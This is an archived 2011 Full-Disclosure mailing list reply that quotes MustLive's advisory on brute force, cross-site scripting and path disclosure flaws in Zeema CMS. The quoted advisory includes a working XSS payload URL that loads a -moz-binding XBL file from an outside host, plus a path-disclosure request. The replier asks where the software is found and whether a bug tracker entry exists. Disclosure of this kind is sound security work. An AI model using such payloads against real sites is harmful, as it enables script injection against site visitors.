full-disclosure - Re: Vulnerabilities in Zeema CMS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sun, 4 Dec 2011 12:30:32 +0200
From: Henri Salo <henri@...v.fi>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Vulnerabilities in Zeema CMS

On Sun, Dec 04, 2011 at 03:00:42AM +0200, MustLive wrote:
> Hello list!
> 
> I want to warn you about Brute Force, Cross-Site Scripting and Full path
> disclosure vulnerabilities in Zeema CMS. It's Ukrainian commercial CMS.
> 
> -------------------------
> Affected products:
> -------------------------
> 
> Vulnerable are all versions of Zeema CMS.
> 
> ----------
> Details:
> ----------
> 
> Brute Force (WASC-11):
> 
> http://site/cms/
> 
> XSS (WASC-08):
> 
> http://site/search/?query=%22%20style=%22-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml%23xss)
> 
> Attack will work in Mozilla and Firefox.
> 
> Full path disclosure (WASC-13):
> 
> http://site/search/?page=10&query=site
> 
> ------------
> Timeline:
> ------------
> 
> 2011.09.12 - found vulnerabilities during audit. After that client straight
> away informed developers.
> 2011.10.22 - announced at my site.
> 2011.10.23 - informed developers.
> 2011.12.02 - disclosed at my site.
> 
> I mentioned about these vulnerabilities at my site
> (http://websecurity.com.ua/5459/).
> 
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua

Again some neverheard software. Where does one find this from internet? Is there a item in issue- or bug-tracker for this?

- Henri Salo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/